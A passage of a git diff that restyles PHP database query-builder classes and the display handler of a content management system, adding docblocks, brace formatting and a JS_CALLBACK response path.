InsertExpression.class.php */ +/* Location: ./classes/db/queryparts/expression/InsertExpression.class.php */ diff --git a/classes/db/queryparts/expression/SelectExpression.class.php b/classes/db/queryparts/expression/SelectExpression.class.php index ea3a5d22b..6ae36d52b 100644 --- a/classes/db/queryparts/expression/SelectExpression.class.php +++ b/classes/db/queryparts/expression/SelectExpression.class.php @@ -1,59 +1,69 @@ column_alias = $alias; - } - - /** - * Return column expression, ex) column as alias - * @return string - */ - function getExpression() { - return sprintf("%s%s", $this->column_name, $this->column_alias ? " as ".$this->column_alias : ""); - } - - function show() { - return true; - } - - function getArgument(){ - return null; - } - - function getArguments() - { - return array(); - } - - function isSubquery(){ - return false; - } + /** + * constructor + * @param string $column_name + * @param string $alias + * @return void + */ + function SelectExpression($column_name, $alias = NULL) + { + parent::Expression($column_name); + $this->column_alias = $alias; } -?> + + /** + * Return column expression, ex) column as alias + * @return string + */ + function getExpression() + { + return sprintf("%s%s", $this->column_name, $this->column_alias ? " as " . $this->column_alias : ""); + } + + function show() + { + return true; + } + + function getArgument() + { + return null; + } + + function getArguments() + { + return array(); + } + + function isSubquery() + { + return false; + } + +} +/* End of file SelectExpression.class.php */ +/* Location: ./classes/db/queryparts/expression/SelectExpression.class.php */ diff --git a/classes/db/queryparts/expression/StarExpression.class.php b/classes/db/queryparts/expression/StarExpression.class.php index 38a877322..f010c8593 100644 --- a/classes/db/queryparts/expression/StarExpression.class.php +++ b/classes/db/queryparts/expression/StarExpression.class.php @@ -1,28 +1,36 @@ - + + function getArgument() + { + return null; + } + + function getArguments() + { + // StarExpression has no arguments + return array(); + } + +} +/* End of file StarExpression.class.php */ +/* Location: ./classes/db/queryparts/expression/StarExpression.class.php */ diff --git a/classes/db/queryparts/expression/UpdateExpression.class.php b/classes/db/queryparts/expression/UpdateExpression.class.php index 0f0324bc4..a942a9f9c 100644 --- a/classes/db/queryparts/expression/UpdateExpression.class.php +++ b/classes/db/queryparts/expression/UpdateExpression.class.php @@ -1,89 +1,118 @@ argument = $argument; - } + /** + * constructor + * @param string $column_name + * @param object $argument + * @return void + */ + function UpdateExpression($column_name, $argument) + { + parent::Expression($column_name); + $this->argument = $argument; + } - /** - * Return column expression, ex) column = value - * @return string - */ - function getExpression($with_value = true){ - if($with_value) - return $this->getExpressionWithValue(); - return $this->getExpressionWithoutValue(); - } - - /** - * Return column expression, ex) column = value - * @return string - */ - function getExpressionWithValue(){ - $value = $this->argument->getValue(); - $operation = $this->argument->getColumnOperation(); - if(isset($operation)) - return "$this->column_name = $this->column_name $operation $value"; - return "$this->column_name = $value"; - } - - /** - * Return column expression, ex) column = ? - * Can use prepare statement - * @return string - */ - function getExpressionWithoutValue(){ - $operation = $this->argument->getColumnOperation(); - if(isset($operation)) - return "$this->column_name = $this->column_name $operation ?"; - return "$this->column_name = ?"; - } - - function getValue(){ - // TODO Escape value according to column type instead of variable type - $value = $this->argument->getValue(); - if(!is_numeric($value)) return "'".$value."'"; - return $value; - } - - function show(){ - if(!$this->argument) return false; - $value = $this->argument->getValue(); - if(!isset($value)) return false; - return true; - } - - function getArgument(){ - return $this->argument; - } - - function getArguments() + /** + * Return column expression, ex) column = value + * @return string + */ + function getExpression($with_value = true) + { + if($with_value) + { + return $this->getExpressionWithValue(); + } + return $this->getExpressionWithoutValue(); + } + + /** + * Return column expression, ex) column = value + * @return string + */ + function getExpressionWithValue() + { + $value = $this->argument->getValue(); + $operation = $this->argument->getColumnOperation(); + if(isset($operation)) + { + return "$this->column_name = $this->column_name $operation $value"; + } + return "$this->column_name = $value"; + } + + /** + * Return column expression, ex) column = ? + * Can use prepare statement + * @return string + */ + function getExpressionWithoutValue() + { + $operation = $this->argument->getColumnOperation(); + if(isset($operation)) + { + return "$this->column_name = $this->column_name $operation ?"; + } + return "$this->column_name = ?"; + } + + function getValue() + { + // TODO Escape value according to column type instead of variable type + $value = $this->argument->getValue(); + if(!is_numeric($value)) + { + return "'" . $value . "'"; + } + return $value; + } + + function show() + { + if(!$this->argument) + { + return false; + } + $value = $this->argument->getValue(); + if(!isset($value)) + { + return false; + } + return true; + } + + function getArgument() + { + return $this->argument; + } + + function getArguments() + { + if($this->argument) { - if ($this->argument) return array($this->argument); - else + } + else + { return array(); } } - -?> +} +/* End of file UpdateExpression.class.php */ +/* Location: ./classes/db/queryparts/expression/UpdateExpression.class.php */ diff --git a/classes/db/queryparts/expression/UpdateExpressionWithoutArgument.class.php b/classes/db/queryparts/expression/UpdateExpressionWithoutArgument.class.php index a8cd44495..38123f221 100644 --- a/classes/db/queryparts/expression/UpdateExpressionWithoutArgument.class.php +++ b/classes/db/queryparts/expression/UpdateExpressionWithoutArgument.class.php @@ -1,55 +1,73 @@ argument = $argument; - } - - function getExpression($with_value = true){ - return "$this->column_name = $this->argument"; - } - - function getValue(){ - // TODO Escape value according to column type instead of variable type - $value = $this->argument; - if(!is_numeric($value)) return "'".$value."'"; - return $value; - } - - function show(){ - if(!$this->argument) return false; - $value = $this->argument; - if(!isset($value)) return false; - return true; - } - - function getArgument(){ - return null; - } - - function getArguments(){ - return array(); - } + /** + * constructor + * @param string $column_name + * @param object $argument + * @return void + */ + function UpdateExpressionWithoutArgument($column_name, $argument) + { + parent::Expression($column_name); + $this->argument = $argument; } + function getExpression($with_value = true) + { + return "$this->column_name = $this->argument"; + } -?> + function getValue() + { + // TODO Escape value according to column type instead of variable type + $value = $this->argument; + if(!is_numeric($value)) + { + return "'" . $value . "'"; + } + return $value; + } + + function show() + { + if(!$this->argument) + { + return false; + } + $value = $this->argument; + if(!isset($value)) + { + return false; + } + return true; + } + + function getArgument() + { + return null; + } + + function getArguments() + { + return array(); + } + +} +/* End of file UpdateExpressionWithoutArgument.class.php */ +/* Location: ./classes/db/queryparts/expression/UpdateExpressionWithoutArgument.class.php */ diff --git a/classes/db/queryparts/limit/Limit.class.php b/classes/db/queryparts/limit/Limit.class.php index 256c42eb1..bce192d08 100644 --- a/classes/db/queryparts/limit/Limit.class.php +++ b/classes/db/queryparts/limit/Limit.class.php @@ -1,69 +1,95 @@ -list_count = $list_count; - if ($page){ - $list_count_value = $list_count->getValue(); - $page_value = $page->getValue(); - $this->start = ($page_value - 1) * $list_count_value; - $this->page_count = $page_count; - $this->page = $page; - } - } - - /** - * In case you choose to use query limit in other cases than page select - * @return boolean - */ - function isPageHandler(){ - if ($this->page)return true; - else return false; - } - - function getOffset(){ - return $this->start; - } - - function getLimit(){ - return $this->list_count->getValue(); - } - - function toString(){ - if ($this->page) return $this->start . ' , ' . $this->list_count->getValue(); - else return $this->list_count->getValue(); +/** + * @author NHN (developers@xpressengine.com) + * @package /classes/db/queryparts/limit + * @version 0.1 + */ +class Limit +{ + + /** + * start number + * @var int + */ + var $start; + + /** + * list count + * @var int + */ + var $list_count; + + /** + * page count + * @var int + */ + var $page_count; + + /** + * current page + * @var int + */ + var $page; + + /** + * constructor + * @param int $list_count + * @param int $page + * @param int $page_count + * @return void + */ + function Limit($list_count, $page = NULL, $page_count = NULL) + { + $this->list_count = $list_count; + if($page) + { + $list_count_value = $list_count->getValue(); + $page_value = $page->getValue(); + $this->start = ($page_value - 1) * $list_count_value; + $this->page_count = $page_count; + $this->page = $page; } } -?> + + /** + * In case you choose to use query limit in other cases than page select + * @return boolean + */ + function isPageHandler() + { + if($this->page) + { + return true; + } + else + { + return false; + } + } + + function getOffset() + { + return $this->start; + } + + function getLimit() + { + return $this->list_count->getValue(); + } + + function toString() + { + if($this->page) + { + return $this->start . ' , ' . $this->list_count->getValue(); + } + else + { + return $this->list_count->getValue(); + } + } + +} +/* End of file Limit.class.php */ +/* Location: ./classes/db/limit/Limit.class.php */ diff --git a/classes/db/queryparts/order/OrderByColumn.class.php b/classes/db/queryparts/order/OrderByColumn.class.php index 3dfa8f949..bdfafd562 100644 --- a/classes/db/queryparts/order/OrderByColumn.class.php +++ b/classes/db/queryparts/order/OrderByColumn.class.php @@ -1,50 +1,73 @@ -column_name = $column_name; - $this->sort_order = $sort_order; + var $column_name; + + /** + * sort order + * @var string + */ + var $sort_order; + + /** + * constructor + * @param string $column_name + * @param string $sort_order + * @return void + */ + function OrderByColumn($column_name, $sort_order) + { + $this->column_name = $column_name; + $this->sort_order = $sort_order; + } + + function toString() + { + $result = $this->getColumnName(); + $result .= ' '; + $result .= is_a($this->sort_order, 'Argument') ? $this->sort_order->getValue() : $this->sort_order; + return $result; + } + + function getColumnName() + { + return is_a($this->column_name, 'Argument') ? $this->column_name->getValue() : $this->column_name; + } + + function getPureColumnName() + { + return is_a($this->column_name, 'Argument') ? $this->column_name->getPureValue() : $this->column_name; + } + + function getPureSortOrder() + { + return is_a($this->sort_order, 'Argument') ? $this->sort_order->getPureValue() : $this->sort_order; + } + + function getArguments() + { + $args = array(); + if(is_a($this->column_name, 'Argument')) + { + $args[] = $this->column_name; } - - function toString(){ - $result = $this->getColumnName(); - $result .= ' '; - $result .= is_a($this->sort_order, 'Argument') ? $this->sort_order->getValue() : $this->sort_order; - return $result; - } - - function getColumnName(){ - return is_a($this->column_name, 'Argument') ? $this->column_name->getValue() : $this->column_name; - } - - function getArguments(){ - $args = array(); - if(is_a($this->column_name, 'Argument')) - $args[]= $this->column_name; - if(is_a($this->sort_order, 'Argument')) - $args[] = $this->sort_order; + if(is_a($this->sort_order, 'Argument')) + { + $args[] = $this->sort_order; } } -?> +} +/* End of file OrderByColumn.class.php */ +/* Location: ./classes/db/order/OrderByColumn.class.php */ diff --git a/classes/db/queryparts/table/CubridTableWithHint.class.php b/classes/db/queryparts/table/CubridTableWithHint.class.php index 79d645234..d807891a5 100644 --- a/classes/db/queryparts/table/CubridTableWithHint.class.php +++ b/classes/db/queryparts/table/CubridTableWithHint.class.php @@ -1,62 +1,71 @@ index_hints_list = $index_hints_list; - } + /** + * table alias + * @var string + */ + var $alias; - /** - * Return index hint string - * @return string - */ - function getIndexHintString(){ - $result = ''; + /** + * index hint list + * @var array + */ + var $index_hints_list; - // Retrieve table prefix, to add it to index name - $db_info = Context::getDBInfo(); - $prefix = $db_info->master_db["db_table_prefix"]; - - foreach($this->index_hints_list as $index_hint){ - $index_hint_type = $index_hint->getIndexHintType(); - if($index_hint_type !== 'IGNORE'){ - $result .= $this->alias . '.' - . '"' . $prefix . substr($index_hint->getIndexName(), 1) - . ($index_hint_type == 'FORCE' ? '(+)' : '') - . ', '; - } - - } - $result = substr($result, 0, -2); - return $result; - } + /** + * constructor + * @param string $name + * @param string $alias + * @param array $index_hints_list + * @return void + */ + function CubridTableWithHint($name, $alias = NULL, $index_hints_list) + { + parent::Table($name, $alias); + $this->index_hints_list = $index_hints_list; } -?> + /** + * Return index hint string + * @return string + */ + function getIndexHintString() + { + $result = ''; + + // Retrieve table prefix, to add it to index name + $db_info = Context::getDBInfo(); + $prefix = $db_info->master_db["db_table_prefix"]; + + foreach($this->index_hints_list as $index_hint) + { + $index_hint_type = $index_hint->getIndexHintType(); + if($index_hint_type !== 'IGNORE') + { + $result .= $this->alias . '.' + . '"' . $prefix . substr($index_hint->getIndexName(), 1) + . ($index_hint_type == 'FORCE' ? '(+)' : '') + . ', '; + } + } + $result = substr($result, 0, -2); + return $result; + } + +} +/* End of file CubridTableWithHint.class.php */ +/* Location: ./classes/db/queryparts/table/CubridTableWithHint.class.php */ diff --git a/classes/db/queryparts/table/IndexHint.class.php b/classes/db/queryparts/table/IndexHint.class.php index 20e41f009..1772c7cda 100644 --- a/classes/db/queryparts/table/IndexHint.class.php +++ b/classes/db/queryparts/table/IndexHint.class.php @@ -1,39 +1,47 @@ index_name = $index_name; - $this->index_hint_type = $index_hint_type; - } + /** + * index hint type, ex) IGNORE, FORCE, USE... + * @var string + */ + var $index_hint_type; - function getIndexName(){ - return $this->index_name; - } - - function getIndexHintType() { - return $this->index_hint_type; - } + /** + * constructor + * @param string $index_name + * @param string $index_hint_type + * @return void + */ + function IndexHint($index_name, $index_hint_type) + { + $this->index_name = $index_name; + $this->index_hint_type = $index_hint_type; } -?> + function getIndexName() + { + return $this->index_name; + } + + function getIndexHintType() + { + return $this->index_hint_type; + } + +} +/* End of file IndexHint.class.php */ +/* Location: ./classes/db/queryparts/table/IndexHint.class.php */ diff --git a/classes/db/queryparts/table/JoinTable.class.php b/classes/db/queryparts/table/JoinTable.class.php index 16818792f..da5f951ca 100644 --- a/classes/db/queryparts/table/JoinTable.class.php +++ b/classes/db/queryparts/table/JoinTable.class.php @@ -1,59 +1,70 @@ -join_type = $join_type; - $this->conditions = $conditions; - } - - function toString($with_value = true){ - $part = $this->join_type . ' ' . $this->name ; - $part .= $this->alias ? ' as ' . $this->alias : ''; - $part .= ' on '; - foreach($this->conditions as $conditionGroup) - $part .= $conditionGroup->toString($with_value); - return $part; - } - - function isJoinTable(){ - return true; - } - - function getArguments() - { - $args = array(); - foreach($this->conditions as $conditionGroup) - $args = array_merge($args, $conditionGroup->getArguments()); - return $args; - } - + var $join_type; + + /** + * condition list + * @var array + */ + var $conditions; + + /** + * constructor + * @param string $name + * @param string $alias + * @param string $join_type + * @param array $conditions + * @return void + */ + function JoinTable($name, $alias, $join_type, $conditions) + { + parent::Table($name, $alias); + $this->join_type = $join_type; + $this->conditions = $conditions; } -?> + function toString($with_value = true) + { + $part = $this->join_type . ' ' . $this->name; + $part .= $this->alias ? ' as ' . $this->alias : ''; + $part .= ' on '; + foreach($this->conditions as $conditionGroup) + { + $part .= $conditionGroup->toString($with_value); + } + return $part; + } + + function isJoinTable() + { + return true; + } + + function getArguments() + { + $args = array(); + foreach($this->conditions as $conditionGroup) + { + $args = array_merge($args, $conditionGroup->getArguments()); + } + return $args; + } + +} +/* End of file JoinTable.class.php */ +/* Location: ./classes/db/queryparts/table/JoinTable.class.php */ diff --git a/classes/db/queryparts/table/MssqlTableWithHint.class.php b/classes/db/queryparts/table/MssqlTableWithHint.class.php index 077456133..f33ba136f 100644 --- a/classes/db/queryparts/table/MssqlTableWithHint.class.php +++ b/classes/db/queryparts/table/MssqlTableWithHint.class.php @@ -1,53 +1,65 @@ index_hints_list = $index_hints_list; - } + /** + * table alias + * @var string + */ + var $alias; - function toString(){ - $result = parent::toString(); + /** + * index hint type, ex) IGNORE, FORCE, USE... + * @var array + */ + var $index_hints_list; - $index_hint_string = ''; - $indexTypeList = array('USE'=>1, 'FORCE'=>1); - foreach($this->index_hints_list as $index_hint){ - $index_hint_type = $index_hint->getIndexHintType(); - if(isset($indexTypeList[$index_hint_type])) - $index_hint_string .= 'INDEX(' . $index_hint->getIndexName() . '), '; - } - if($index_hint_string != ''){ - $result .= ' WITH(' . substr($index_hint_string, 0, -2) . ') '; - } - return $result; - } + /** + * constructor + * @param string $name + * @param string $alias + * @param string $index_hints_list + * @return void + */ + function MssqlTableWithHint($name, $alias = NULL, $index_hints_list) + { + parent::Table($name, $alias); + $this->index_hints_list = $index_hints_list; } -?> + function toString() + { + $result = parent::toString(); + + $index_hint_string = ''; + $indexTypeList = array('USE' => 1, 'FORCE' => 1); + foreach($this->index_hints_list as $index_hint) + { + $index_hint_type = $index_hint->getIndexHintType(); + if(isset($indexTypeList[$index_hint_type])) + { + $index_hint_string .= 'INDEX(' . $index_hint->getIndexName() . '), '; + } + } + if($index_hint_string != '') + { + $result .= ' WITH(' . substr($index_hint_string, 0, -2) . ') '; + } + return $result; + } + +} +/* End of file MssqlTableWithHint.class.php */ +/* Location: ./classes/db/queryparts/table/MssqlTableWithHint.class.php */ diff --git a/classes/db/queryparts/table/MysqlTableWithHint.class.php b/classes/db/queryparts/table/MysqlTableWithHint.class.php index 39c8c32b7..24ff7c51a 100644 --- a/classes/db/queryparts/table/MysqlTableWithHint.class.php +++ b/classes/db/queryparts/table/MysqlTableWithHint.class.php @@ -1,59 +1,82 @@ index_hints_list = $index_hints_list; - } + /** + * table alias + * @var string + */ + var $alias; - function toString(){ - $result = parent::toString(); + /** + * index hint type, ex) IGNORE, FORCE, USE... + * @var array + */ + var $index_hints_list; - $use_index_hint = ''; $force_index_hint = ''; $ignore_index_hint = ''; - foreach($this->index_hints_list as $index_hint){ - $index_hint_type = $index_hint->getIndexHintType(); - if($index_hint_type == 'USE') $use_index_hint .= $index_hint->getIndexName() . ', '; - else if($index_hint_type == 'FORCE') $force_index_hint .= $index_hint->getIndexName() . ', '; - else if($index_hint_type == 'IGNORE') $ignore_index_hint .= $index_hint->getIndexName() . ', '; - } - if($use_index_hint != ''){ - $result .= ' USE INDEX (' . substr($use_index_hint, 0, -2) . ') '; - } - if($force_index_hint != ''){ - $result .= ' FORCE INDEX (' . substr($force_index_hint, 0, -2) . ') '; - } - if($ignore_index_hint != ''){ - $result .= ' IGNORE INDEX (' . substr($ignore_index_hint, 0, -2) . ') '; - } - return $result; - } + /** + * constructor + * @param string $name + * @param string $alias + * @param string $index_hints_list + * @return void + */ + function MysqlTableWithHint($name, $alias = NULL, $index_hints_list) + { + parent::Table($name, $alias); + $this->index_hints_list = $index_hints_list; } -?> + function toString() + { + $result = parent::toString(); + + $use_index_hint = ''; + $force_index_hint = ''; + $ignore_index_hint = ''; + foreach($this->index_hints_list as $index_hint) + { + $index_hint_type = $index_hint->getIndexHintType(); + if($index_hint_type == 'USE') + { + $use_index_hint .= $index_hint->getIndexName() . ', '; + } + else if($index_hint_type == 'FORCE') + { + $force_index_hint .= $index_hint->getIndexName() . ', '; + } + else if($index_hint_type == 'IGNORE') + { + $ignore_index_hint .= $index_hint->getIndexName() . ', '; + } + } + if($use_index_hint != '') + { + $result .= ' USE INDEX (' . substr($use_index_hint, 0, -2) . ') '; + } + if($force_index_hint != '') + { + $result .= ' FORCE INDEX (' . substr($force_index_hint, 0, -2) . ') '; + } + if($ignore_index_hint != '') + { + $result .= ' IGNORE INDEX (' . substr($ignore_index_hint, 0, -2) . ') '; + } + return $result; + } + +} +/* End of file MysqlTableWithHint.class.php */ +/* Location: ./classes/db/queryparts/table/MysqlTableWithHint.class.php */ diff --git a/classes/db/queryparts/table/Table.class.php b/classes/db/queryparts/table/Table.class.php index 6092e10c7..05a3e084f 100644 --- a/classes/db/queryparts/table/Table.class.php +++ b/classes/db/queryparts/table/Table.class.php @@ -1,48 +1,58 @@ -name = $name; - $this->alias = $alias; - } - - function toString(){ - //return $this->name; - return sprintf("%s%s", $this->name, $this->alias ? ' as ' . $this->alias : ''); - } - - function getName(){ - return $this->name; - } - - function getAlias(){ - return $this->alias; - } - - function isJoinTable(){ - return false; - } + var $name; + + /** + * table alias + * @var string + */ + var $alias; + + /** + * constructor + * @param string $name + * @param string $alias + * @return void + */ + function Table($name, $alias = NULL) + { + $this->name = $name; + $this->alias = $alias; } -?> + function toString() + { + //return $this->name; + return sprintf("%s%s", $this->name, $this->alias ? ' as ' . $this->alias : ''); + } + + function getName() + { + return $this->name; + } + + function getAlias() + { + return $this->alias; + } + + function isJoinTable() + { + return false; + } + +} +/* End of file Table.class.php */ +/* Location: ./classes/db/queryparts/table/Table.class.php */ diff --git a/classes/display/DisplayHandler.class.php b/classes/display/DisplayHandler.class.php index d20acdfd6..7ace35e0c 100644 --- a/classes/display/DisplayHandler.class.php +++ b/classes/display/DisplayHandler.class.php @@ -1,276 +1,364 @@ gzhandler_enable - ) $this->gz_enabled = true; - // Extract contents to display by the request method - if(Context::get('xeVirtualRequestMethod')=='xml') { - require_once("./classes/display/VirtualXMLDisplayHandler.php"); - $handler = new VirtualXMLDisplayHandler(); - } - else if(Context::getRequestMethod() == 'XMLRPC') { - require_once("./classes/display/XMLDisplayHandler.php"); - $handler = new XMLDisplayHandler(); - if(strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false) $this->gz_enabled = false; - } - else if(Context::getRequestMethod() == 'JSON') { - require_once("./classes/display/JSONDisplayHandler.php"); - $handler = new JSONDisplayHandler(); - } - else { - require_once("./classes/display/HTMLDisplayHandler.php"); - $handler = new HTMLDisplayHandler(); - } + ) + { + $this->gz_enabled = TRUE; + } - $output = $handler->toDoc($oModule); - // call a trigger before display - ModuleHandler::triggerCall('display', 'before', $output); - // execute add-on - $called_position = 'before_display_content'; - $oAddonController = &getController('addon'); - $addon_file = $oAddonController->getCacheFilePath(Mobile::isFromMobilePhone()?"mobile":"pc"); - @include($addon_file); + // Extract contents to display by the request method + if(Context::get('xeVirtualRequestMethod') == 'xml') + { + require_once("./classes/display/VirtualXMLDisplayHandler.php"); + $handler = new VirtualXMLDisplayHandler(); + } + else if(Context::getRequestMethod() == 'XMLRPC') + { + require_once("./classes/display/XMLDisplayHandler.php"); + $handler = new XMLDisplayHandler(); + if(strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE) + { + $this->gz_enabled = FALSE; + } + } + else if(Context::getRequestMethod() == 'JSON') + { + require_once("./classes/display/JSONDisplayHandler.php"); + $handler = new JSONDisplayHandler(); + } + else if(Context::getRequestMethod() == 'JS_CALLBACK') + { + require_once("./classes/display/JSCallbackDisplayHandler.php"); + $handler = new JSCallbackDisplayHandler(); + } + else + { + require_once("./classes/display/HTMLDisplayHandler.php"); + $handler = new HTMLDisplayHandler(); + } - if(method_exists($handler, "prepareToPrint")) $handler->prepareToPrint($output); - // header output - if($this->gz_enabled) header("Content-Encoding: gzip"); + $output = $handler->toDoc($oModule); - $httpStatusCode = $oModule->getHttpStatusCode(); - if($httpStatusCode && $httpStatusCode != 200) $this->_printHttpStatusCode($httpStatusCode); + // call a trigger before display + ModuleHandler::triggerCall('display', 'before', $output); + + // execute add-on + $called_position = 'before_display_content'; + $oAddonController = &getController('addon'); + $addon_file = $oAddonController->getCacheFilePath(Mobile::isFromMobilePhone() ? "mobile" : "pc"); + @include($addon_file); + + if(method_exists($handler, "prepareToPrint")) + { + $handler->prepareToPrint($output); + } + // header output + if($this->gz_enabled) + { + header("Content-Encoding: gzip"); + } + + $httpStatusCode = $oModule->getHttpStatusCode(); + if($httpStatusCode && $httpStatusCode != 200) + { + $this->_printHttpStatusCode($httpStatusCode); + } + else + { + if(Context::getResponseMethod() == 'JSON' || Context::getResponseMethod() == 'JS_CALLBACK') + { + $this->_printJSONHeader(); + } + else if(Context::getResponseMethod() != 'HTML') + { + $this->_printXMLHeader(); + } else { - if(Context::getResponseMethod() == 'JSON') $this->_printJSONHeader(); - else if(Context::getResponseMethod() != 'HTML') $this->_printXMLHeader(); - else $this->_printHTMLHeader(); + $this->_printHTMLHeader(); + } + } + + // debugOutput output + $this->content_size = strlen($output); + $output .= $this->_debugOutput(); + + // results directly output + if($this->gz_enabled) + { + print ob_gzhandler($output, 5); + } + else + { + print $output; + } + + // call a trigger after display + ModuleHandler::triggerCall('display', 'after', $content); + } + + /** + * Print debugging message to designated output source depending on the value set to __DEBUG_OUTPUT_. \n + * This method only functions when __DEBUG__ variable is set to 1. + * __DEBUG_OUTPUT__ == 0, messages are written in ./files/_debug_message.php + * @return void + */ + function _debugOutput() + { + if(!__DEBUG__) + { + return; + } + + $end = getMicroTime(); + + // Firebug console output + if(__DEBUG_OUTPUT__ == 2 && version_compare(PHP_VERSION, '6.0.0') === -1) + { + static $firephp; + if(!isset($firephp)) + { + $firephp = FirePHP::getInstance(true); } - // debugOutput output - $this->content_size = strlen($output); - $output .= $this->_debugOutput(); - // results directly output - if($this->gz_enabled) print ob_gzhandler($output, 5); - else print $output; - // call a trigger after display - ModuleHandler::triggerCall('display', 'after', $content); - } + if(__DEBUG_PROTECT__ == 1 && __DEBUG_PROTECT_IP__ != $_SERVER['REMOTE_ADDR']) + { + $firephp->fb('Change the value of __DEBUG_PROTECT_IP__ into your IP address in config/config.user.inc.php or config/config.inc.php', 'The IP address is not allowed.'); + return; + } + // display total execution time and Request/Response info + if(__DEBUG__ & 2) + { + $firephp->fb( + array( + 'Request / Response info >>> ' . $_SERVER['REQUEST_METHOD'] . ' / ' . Context::getResponseMethod(), + array( + array('Request URI', 'Request method', 'Response method', 'Response contents size'), + array( + sprintf("%s:%s%s%s%s", $_SERVER['SERVER_NAME'], $_SERVER['SERVER_PORT'], $_SERVER['PHP_SELF'], $_SERVER['QUERY_STRING'] ? '?' : '', $_SERVER['QUERY_STRING']), + $_SERVER['REQUEST_METHOD'], + Context::getResponseMethod(), + $this->content_size . ' byte' + ) + ) + ), + 'TABLE' + ); + $firephp->fb( + array( + 'Elapsed time >>> Total : ' . sprintf('%0.5f sec', $end - __StartTime__), + array(array('DB queries', 'class file load', 'Template compile', 'XmlParse compile', 'PHP', 'Widgets', 'Trans Content'), + array( + sprintf('%0.5f sec', $GLOBALS['__db_elapsed_time__']), + sprintf('%0.5f sec', $GLOBALS['__elapsed_class_load__']), + sprintf('%0.5f sec (%d called)', $GLOBALS['__template_elapsed__'], $GLOBALS['__TemplateHandlerCalled__']), + sprintf('%0.5f sec', $GLOBALS['__xmlparse_elapsed__']), + sprintf('%0.5f sec', $end - __StartTime__ - $GLOBALS['__template_elapsed__'] - $GLOBALS['__xmlparse_elapsed__'] - $GLOBALS['__db_elapsed_time__'] - $GLOBALS['__elapsed_class_load__']), + sprintf('%0.5f sec', $GLOBALS['__widget_excute_elapsed__']), + sprintf('%0.5f sec', $GLOBALS['__trans_content_elapsed__']) + ) + ) + ), + 'TABLE' + ); + } - - /** - * Print debugging message to designated output source depending on the value set to __DEBUG_OUTPUT_. \n - * This method only functions when __DEBUG__ variable is set to 1. - * __DEBUG_OUTPUT__ == 0, messages are written in ./files/_debug_message.php - * @return void - **/ - function _debugOutput() { - if(!__DEBUG__) return; - - $end = getMicroTime(); - // Firebug console output - if(__DEBUG_OUTPUT__ == 2 && version_compare(PHP_VERSION, '6.0.0') === -1) { - static $firephp; - if(!isset($firephp)) $firephp = FirePHP::getInstance(true); - - if(__DEBUG_PROTECT__ == 1 && __DEBUG_PROTECT_IP__ != $_SERVER['REMOTE_ADDR']) { - $firephp->fb('Change the value of __DEBUG_PROTECT_IP__ into your IP address in config/config.user.inc.php or config/config.inc.php', 'The IP address is not allowed.'); - return; - } - // display total execution time and Request/Response info - if(__DEBUG__ & 2) { - $firephp->fb( - array('Request / Response info >>> '.$_SERVER['REQUEST_METHOD'].' / '.Context::getResponseMethod(), - array( - array('Request URI', 'Request method', 'Response method', 'Response contents size'), - array( - sprintf("%s:%s%s%s%s", $_SERVER['SERVER_NAME'], $_SERVER['SERVER_PORT'], $_SERVER['PHP_SELF'], $_SERVER['QUERY_STRING']?'?':'', $_SERVER['QUERY_STRING']), - $_SERVER['REQUEST_METHOD'], - Context::getResponseMethod(), - $this->content_size.' byte' - ) - ) - ), - 'TABLE' - ); - $firephp->fb( - array('Elapsed time >>> Total : '.sprintf('%0.5f sec', $end - __StartTime__), - array(array('DB queries', 'class file load', 'Template compile', 'XmlParse compile', 'PHP', 'Widgets', 'Trans Content'), - array( - sprintf('%0.5f sec', $GLOBALS['__db_elapsed_time__']), - sprintf('%0.5f sec', $GLOBALS['__elapsed_class_load__']), - sprintf('%0.5f sec (%d called)', $GLOBALS['__template_elapsed__'], $GLOBALS['__TemplateHandlerCalled__']), - sprintf('%0.5f sec', $GLOBALS['__xmlparse_elapsed__']), - sprintf('%0.5f sec', $end-__StartTime__-$GLOBALS['__template_elapsed__']-$GLOBALS['__xmlparse_elapsed__']-$GLOBALS['__db_elapsed_time__']-$GLOBALS['__elapsed_class_load__']), - sprintf('%0.5f sec', $GLOBALS['__widget_excute_elapsed__']), - sprintf('%0.5f sec', $GLOBALS['__trans_content_elapsed__']) - ) - ) - ), - 'TABLE' - ); - } - // display DB query history - if((__DEBUG__ & 4) && $GLOBALS['__db_queries__']) { - $queries_output = array(array('Query', 'Elapsed time', 'Result')); - foreach($GLOBALS['__db_queries__'] as $query) { - array_push($queries_output, array($query['query'], sprintf('%0.5f', $query['elapsed_time']), $query['result'])); - } - $firephp->fb( - array( - 'DB Queries >>> '.count($GLOBALS['__db_queries__']).' Queries, '.sprintf('%0.5f sec', $GLOBALS['__db_elapsed_time__']), - $queries_output - ), - 'TABLE' - ); - } - // dislpay the file and HTML comments - } else { - // display total execution time and Request/Response info - if(__DEBUG__ & 2) { - if(__DEBUG_PROTECT__ == 1 && __DEBUG_PROTECT_IP__ != $_SERVER['REMOTE_ADDR']) { - return; - } - // Request/Response information - $buff .= "\n- Request/ Response info\n"; - $buff .= sprintf("\tRequest URI \t\t\t: %s:%s%s%s%s\n", $_SERVER['SERVER_NAME'], $_SERVER['SERVER_PORT'], $_SERVER['PHP_SELF'], $_SERVER['QUERY_STRING']?'?':'', $_SERVER['QUERY_STRING']); - $buff .= sprintf("\tRequest method \t\t\t: %s\n", $_SERVER['REQUEST_METHOD']); - $buff .= sprintf("\tResponse method \t\t: %s\n", Context::getResponseMethod()); - $buff .= sprintf("\tResponse contents size\t\t: %d byte\n", $this->content_size); - // total execution time - $buff .= sprintf("\n- Total elapsed time : %0.5f sec\n", $end-__StartTime__); - - $buff .= sprintf("\tclass file load elapsed time \t: %0.5f sec\n", $GLOBALS['__elapsed_class_load__']); - $buff .= sprintf("\tTemplate compile elapsed time\t: %0.5f sec (%d called)\n", $GLOBALS['__template_elapsed__'], $GLOBALS['__TemplateHandlerCalled__']); - $buff .= sprintf("\tXmlParse compile elapsed time\t: %0.5f sec\n", $GLOBALS['__xmlparse_elapsed__']); - $buff .= sprintf("\tPHP elapsed time \t\t: %0.5f sec\n", $end-__StartTime__-$GLOBALS['__template_elapsed__']-$GLOBALS['__xmlparse_elapsed__']-$GLOBALS['__db_elapsed_time__']-$GLOBALS['__elapsed_class_load__']); - $buff .= sprintf("\tDB class elapsed time \t\t: %0.5f sec\n", $GLOBALS['__dbclass_elapsed_time__'] -$GLOBALS['__db_elapsed_time__']); - // widget execution time - $buff .= sprintf("\n\tWidgets elapsed time \t\t: %0.5f sec", $GLOBALS['__widget_excute_elapsed__']); - // layout execution time - $buff .= sprintf("\n\tLayout 